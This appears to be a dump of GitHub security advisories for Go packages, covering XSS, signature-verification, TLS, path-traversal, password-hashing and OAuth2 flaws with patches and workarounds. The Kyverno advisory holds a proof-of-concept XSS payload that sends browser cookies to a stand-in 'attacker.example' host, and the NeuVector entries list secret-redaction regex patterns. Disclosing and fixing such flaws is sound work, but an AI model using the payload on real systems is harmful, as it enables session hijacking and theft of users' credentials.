deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-mhc4-qq83-fmrr
Package: github.com/getaxonflow/axonflow-sdk-go/v5 (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-345: Insufficient Verification of Data Authenticity, CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 5.7.0
Patched in: 5.7.0

Summary: axonflow-sdk-go: Webhook signing-key (HMAC-SHA256) not exposed by SDK type, preventing signature verification

Details:
## Summary

The AxonFlow SDK's `WebhookSubscription` (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform's `CreateWebhook` endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the `X-AxonFlow-Signature` header on incoming webhook deliveries. Affected callers had two unsatisfactory options:

1. Skip signature verification entirely — accepting any payload from any source that knew the webhook URL.
2. Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.

This advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.

## Affected versions

Versions 5.6.1 and below.

## Impact

A webhook receiver using the SDK's typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL — through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel — could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).

## Remediation

Upgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the `WebhookSubscription` response type returned by `CreateWebhook`. Implementations should:

1. Persist the secret returned by `CreateWebhook` securely (it is only returned once, at create time).
2. On each incoming webhook delivery, compute `HMAC-SHA256(secret, raw_body)` and compare it in constant time against the `X-AxonFlow-Signature` header.
3. Reject any delivery whose signature does not match.

## Credit

Identified by AxonFlow internal security review during the April 2026 quality-freeze epic.
GitHub Security Advisory: GHSA-2ccx-cjjh-r2j8
Package: github.com/bluenviron/mediamtx (GO)
Severity: LOW (CVSS 0.0)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: >= 1.15.0, < 1.18.0
Patched in: 1.18.0

Summary: MediaMTX affected by CVE-2026-27143 due to vulnerable dependency

Details:
### Summary
Release 1.17.1 seems affected by CVE-2026-27143. golang 1.25.9 Seems to solve the issue. Is there any new release planned?

### Details
See https://nvd.nist.gov/vuln/detail/CVE-2026-27143.
GitHub Security Advisory: GHSA-q98m-7w8c-w388
Package: github.com/kyverno/policy-reporter-ui (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.5.1
Patched in: 2.5.2

Summary: Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component

Details:
### Summary
Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., `<img src=x onerror=alert(1)>` padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.

This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.


### PoC

Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)

Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.
```bash
kubectl apply -f - <<'EOF'
apiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)
kind: PolicyReport
metadata:
  name: xss-poc
  namespace: default
results:
- message: "test"
  policy: xss-test-policy
  rule: check-rule
  result: fail
  properties:
    # Value > 75 chars and not an http/https URL -> routed to v-html sink
    advisory: "<img src=x onerror=\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\"> padding padding padding"
EOF
# Once a UI user opens the results table for the 'default' namespace
# and expands the 'xss-test-policy' result row, the onerror handler fires
# and exfiltrates their session cookies to attacker.example
```
<img width="1562" height="1061" alt="Снимок экрана — 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" />
<img width="1041" height="939" alt="Снимок экрана — 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" />

### Impact
XSS
GitHub Security Advisory: GHSA-r727-5pf6-47r2
Package: github.com/elastic/package-registry (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 1.38.0
Patched in: 1.38.0

Summary: Elastic Package Registry has Improper Verification of Cryptographic Signature 

Details:
Improper Verification of Cryptographic Signature (CWE-347) in Elastic Package Registry could allow an attacker positioned to intercept network traffic, or to otherwise influence the contents served to a self-hosted registry, to substitute a tampered package without the integrity check failing closed.
GitHub Security Advisory: GHSA-x597-9fr4-5857
Package: github.com/gohugoio/hugo (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 0.43.0, < 0.161.0
Patched in: 0.161.0

Summary: Hugo's Node tool execution allows file system access outside the project directory

Details:
## Impact 
When building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory.

Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected.

## Patches
From `v0.161.0`, Hugo runs Node tools under Node's permission model with strict defaults: No write access and only read access to the site source directories and files.

## Workarounds
Block these tools in [security.exec.allow](https://gohugo.io/configuration/security/).
GitHub Security Advisory: GHSA-pgh9-mpwc-8jjf
Package: github.com/harvester/harvester (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-295: Improper Certificate Validation
Vulnerable versions: < 1.8.0
Patched in: 1.8.0

Summary: Harvester's SUSE Virtualization Registration Client Vulnerable to MITM and DOS

Details:
### Impact

A vulnerability has been identified in the [SUSE Virtualization (Harvester) Rancher integration mechanism](https://docs.harvesterhci.io/v1.7/rancher/rancher-integration) where by default the registration client uses an insecure TLS option that fails to verify  the remote server’s certificate. This security gap could allow the execution of a man-in-the-middle (MitM) attack against SUSE Virtualization.

An attacker with network-level access between the SUSE Virtualization and Rancher Manager could interfere with the TLS handshake and abuse it to bypass TLS as a security control. The registration client could be misled to send cluster registration requests to an impersonated remote service. Additionally, because the system processes response payloads without performing size validation, an attacker could induce a memory buffer overflow, leading to a potential crash of the SUSE Virtualization registration controller.

Note that this vulnerability only affects the cluster registration configuration (the `cluster-registration-url` setting) which is distinct from the secured configuration used to maintain operational connectivity between SUSE Virtualization and Rancher Manager, as well as between the manager and hosted downstream clusters.

Please consult the associated[ MITRE ATT&CK - Technique - Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557/) and [MITRE ATT&CK - Technique - Endpoint Denial of Service: Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004/) for further information about this category of attack.

### Patches

This vulnerability is addressed by updating the registration client’s default behaviour to validate the certificate presented by the remote server against the list of trusted system root certificate authority (CA) and those defined by the `additional-ca` setting.

Patched versions of SUSE Virtualization include releases v1.8.0 or newer.

### Workarounds

If developers can't upgrade to a fixed version, ensure that only authorized cluster administrators can access and modify the `cluster-registration-url` setting.

### Resources

If there are any questions or comments about this advisory:
* Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
* Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.
* Verify with SUSE [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).
GitHub Security Advisory: GHSA-wf45-q9ch-q8gh
Package: github.com/apache/thrift (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 0.23.0
Patched in: 0.23.0

Summary: Apache Thrift TFramedTransport Go language implementation has an Integer Overflow or Wraparound vulnerability

Details:
Integer Overflow or Wraparound vulnerability in Apache Thrift TFramedTransport Go language implementation

This issue affects Apache Thrift: before 0.23.0.

Users are recommended to upgrade to version 0.23.0, which fixes the issue.
GitHub Security Advisory: GHSA-hqwm-7x7x-8379
Package: github.com/loft-sh/devspace (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-306: Missing Authentication for Critical Function
Vulnerable versions: = 6.3.20
Patched in: 6.3.21

Summary: DevSpace UI Server WebSocket CheckOrigin does not validate source

Details:
### Description

DevSpace's UI server WebSocket accepts connections from all origins by default, and therefore several endpoints are exposed via this WebSocket. When a developer runs the DevSpace UI and at the same time uses a browser to access the internet, a malicious website they visit can use their browser to establish a cross-origin WebSocket connection to `ws://127.0.0.1:8090`. This allows an attacker to access: 
* `/api/logs` to stream real-time pod logs
* `/api/enter` to open an interactive shell inside the running pod
* `/api/command` to execute pre-defined pipeline commands

### Patches

Versions 6.3.21 and above are patched.

### Resources

[gorilla/websocket CheckOrigin documentation](https://pkg.go.dev/github.com/gorilla/websocket#hdr-Origin_Considerations)

### Installation Options

Devspace is no longer publishing to NPM or Yarn, please continue to use our [other installation methods](https://www.devspace.sh/docs/getting-started/installation) to get updates in the future, including this patch.

### Credit

DevSpace thanks @b0b0haha for finding and reporting this vulnerability.
GitHub Security Advisory: GHSA-w54x-xfxg-4gxq
Package: github.com/neuvector/neuvector (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-522: Insufficiently Protected Credentials, CWE-549: Missing Password Field Masking
Vulnerable versions: < 0.0.0[PII_REDACTED]1653-65d7e746ce84
Patched in: 0.0.0[PII_REDACTED]1653-65d7e746ce84

Summary: NeuVector process with sensitive arguments lead to leakage

Details:
### Impact

When a Java command with password parameters is executed and terminated by NeuVector for Process rule violation. For example, 

```
java -cp /app ... Djavax.net.ssl.trustStorePassword=<Password>
```

The command with the password appears in the NeuVector security event. To prevent this, NeuVector uses the following default regular expression to detect and redact sensitive data from process commands:

```
(?i)(password|passwd|token)
```

Also, you can define custom patterns to redact by creating a Kubernetes ConfigMap. For example:

```
kubectl create configmap neuvector-custom-rules --from-file=secret-patterns.yaml -n neuvector
```

Sample `secret-patterns.yaml` content:

```
Pattern_list:
  - (?i)(pawd|pword)
  - (?i)(secret)
```

NeuVector uses the default and custom regex to decide whether the process command in a security event should be redacted.

**Note:** If numerous regular expression (regex) patterns are configured in the Kubernetes ConfigMap for extended coverage of sensitive data matching, it can significantly impact performance of NeuVector enforcer, particularly in scenarios involving large inputs or frequent execution. The primary factor contributing to performance issues in regex is backtracking, where the regex engine attempts various matching paths when a pattern doesn't immediately find a match.

### Patches

This issue is fixed in NeuVector version **5.4.6** and later.

### Workarounds

There is no workaround. Upgrade to a patched version of NeuVector as soon as possible.

### References

If you have any questions or comments about this advisory:

- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
- Open an issue in the [NeuVector](https://github.com/neuvector/neuvector/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-neuvector/support-matrix/all-supported-versions/neuvector-v-all-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/#suse-security).
GitHub Security Advisory: GHSA-8ff6-pc43-jwv3
Package: github.com/neuvector/neuvector (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-759: Use of a One-Way Hash without a Salt, CWE-916: Use of Password Hash With Insufficient Computational Effort
Vulnerable versions: < 0.0.0[PII_REDACTED]1744-da1a462074c3
Patched in: 0.0.0[PII_REDACTED]1744-da1a462074c3

Summary: NeuVector has an  insecure password storage vulnerable to rainbow attack

Details:
### Impact

NeuVector stores user passwords and API keys using a simple, unsalted hash. This method is vulnerable to rainbow table attack (offline attack where hashes of known passwords are precomputed).

NeuVector generates a cryptographically secure, random 16-character salt and uses it with the PBKDF2 algorithm to create the hash value for the following actions:

- Creating a user
- Updating a user’s password
- Creating an API key

**Note:** After upgrading to NeuVector 5.4.6, users must log in again so that NeuVector can regenerate the password hash. For API keys, you must send at least one request per API key to regenerate its hash value.

### Patches

This issue is fixed in NeuVector version **5.4.6** and later.

### Workarounds

There is no workaround. Upgrade to a patched version of NeuVector as soon as possible.

### References

If you have any questions or comments about this advisory:

- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
- Open an issue in the [NeuVector](https://github.com/neuvector/neuvector/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-neuvector/support-matrix/all-supported-versions/neuvector-v-all-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/#suse-security).
GitHub Security Advisory: GHSA-fg3j-5w9g-hmg7
Package: github.com/canonical/authd (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-842: Placement of User into Incorrect Group
Vulnerable versions: >= 0.6.0, < 0.6.4
Patched in: 0.6.4

Summary: authd: Primary group ID is incorrectly set to value of UID 

Details:
authd 0.6.0 contains [a bug](https://github.com/canonical/authd/issues/1482) which can lead to an incorrect primary group ID.

It affects users whose primary group ID (i.e. the GID in the user record) differs from their UID. There are two ways which can lead to this:

1. The user was created with authd < 0.5.4 (released June 2025). Those users were created with UID != GID.

2. The primary group of the user was modified manually with the authctl utility that is shipped with authd (`authctl group set-gid`).

Another condition is that some user information must have changed in the identity provider (else the user record is not updated upon login). If that is the case, the next time an affected user logs in, authd will set their primary group ID to their UID.

This could lead to local privileges escalation. Also, files and directories created by those users will be owned by that incorrect primary group, which may grant other local users access to those files which they shouldn't have.

Users who are affected by the issue can run this script to fix the primary group ID of all authd users and the file ownership of files in the home directory created with the incorrect GID:

```bash
authd_users=$(getent passwd --service authd | cut -d: -f1)
for user in $authd_users; do
    OLD_GID=$(id -g "$user")
    GID=$(getent group "$user" | cut -d: -f3)
    if [ -z "$GID" ]; then
        echo "Warning: could not determine GID for $user, skipping" >&2
        continue
    fi
    if [ "$OLD_GID" = "$GID" ]; then
        continue  # user not affected
    fi
    USER_HOME=$(getent passwd "$user" | cut -d: -f6)
    echo "Fixing $user: resetting GID from $OLD_GID to $GID"
    sudo authctl group set-gid "$user" "$OLD_GID"
    sudo authctl group set-gid "$user" "$GID"
    sudo chown -R --from=":$OLD_GID" ":$GID" "$USER_HOME"
done
```

After applying the fix, affected users must log out and log back in for `id`, `groups`, and new file GID stamping to reflect the corrected primary group. You may also optionally terminate a user's active session with:

```bash
sudo loginctl terminate-user "$user"
```

If the users also own files outside their home directory, the ownership of those files might have to be updated as well.

Fixed by: https://github.com/canonical/authd/commit/154b428305cb1a7a19c897626fefd09d6dde8b9f
GitHub Security Advisory: GHSA-fw8g-cg8f-9j28
Package: github.com/prometheus/prometheus (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.311.3
Patched in: 0.311.3

Summary: Prometheus vulnerable to stored XSS via crafted histogram bucket label values in the old web UI heatmap display

Details:
### Impact

In the Prometheus server's legacy web UI (enabled via the command-line flag `--enable-feature=old-ui`), the histogram heatmap chart view does not escape `le` label values when inserting them into the HTML for use as axis tick mark labels.

An attacker who can inject crafted metrics (e.g. via a compromised scrape target, remote write, or OTLP receiver endpoint) can execute JavaScript in the browser of any Prometheus user who views the metric in the heatmap chart UI. From the XSS context, an attacker could for example:

- Read `/api/v1/status/config` to extract sensitive configuration (although credentials / secrets are redacted by the server)
- Call `/-/quit` to shut down Prometheus (only if `--web.enable-lifecycle` is set)
- Call `/api/v1/admin/tsdb/delete_series` to delete data (only if `--web.enable-admin-api` is set)
- Exfiltrate metric data to an external server

Note that this only affects users who have explicitly enabled the legacy Prometheus web UI using the `--enable-feature=old-ui` command-line flag.

### Patches

https://github.com/prometheus/prometheus/commit/38f23b9075ced1de2b82d2dad8b2bebb1ecd5b7d

### Workarounds

If at all possible, disable the legacy web UI by removing the `--enable-feature=old-ui` command-line flag).

If this is not an option, take the following precautions:

- If using the remote write receiver (`--web.enable-remote-write-receiver`), ensure it is not exposed to untrusted sources.
- If using the OTLP receiver (`--web.enable-otlp-receiver`), ensure it is not exposed to untrusted sources.
- Ensure scrape targets are trusted and not under attacker control.
- Do not enable admin / mutating API endpoints (e.g. `--web.enable-admin-api` or `web.enable-lifecycle`) in cases where you cannot prevent untrusted data from being ingested.
- Users should avoid clicking untrusted links, especially those containing functions such as `label_replace`, as they may generate poisoned label names and values.

### References

- CVE-2019-10215 — prior stored DOM XSS vulnerability in Prometheus query history, fixed in v2.7.2
- CVE-2026-40179 — prior stored DOM XSS vulnerability in Prometheus web UI (hover tooltips and metrics explorer), fixed in v3.11.2
GitHub Security Advisory: GHSA-pq7p-mc74-g65w
Package: github.com/pocketbase/pocketbase (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: >= 0.30.0, < 0.37.4
Patched in: 0.37.4

Summary: PocketBase vulnerable to account pre-hijacking via OAuth2 unverfied->verified autolinking upgrade

Details:
A pre-hijacking issue was discovered with the OAuth2 autolinking by [Alardiians](https://github.com/Alardiians).

In some situations, if an attacker knows the email address of the victim they can create and link an **unverified** PocketBase user in advance by authenticating with one of the OAuth2 app providers, e.g. "A". When the victim gets invited or decides to sign up to your app on their own with provider "B" _(PocketBase OAuth2 auth requires to be with a different provider because we don't allow multiple OAuth2 accounts from the same provider to be associated to a single PocketBase user)_, the user created previously by the attacker will be autolinked, upgraded to **"verified"** and its old password reset.

The upgrade flow operates within the expectations but the problem is that I forgot to clear the previous OAuth2 link(s) leaving the attacker to still have access to the initially created user.

Or in other words, the vulnerability is similar to the [mixed password + OAuth2 auth pre-hijacking issue](https://github.com/pocketbase/pocketbase/security/advisories/GHSA-m93w-4fxv-r35v) that we had in the past but with a slightly different angle.

So with that in mind, and to avoid introducing breaking changes to the auth flows, a new fix was applied that automatically deletes all such pre-existing OAuth2 links on "unverified" to "verified" upgrades.

**While the vulnerability requires some prerequisites, it is considered severe and it is strongly recommended to upgrade to v0.37.4 _(or to v0.22.42 if you are using an older <v0.23.0 release)_.**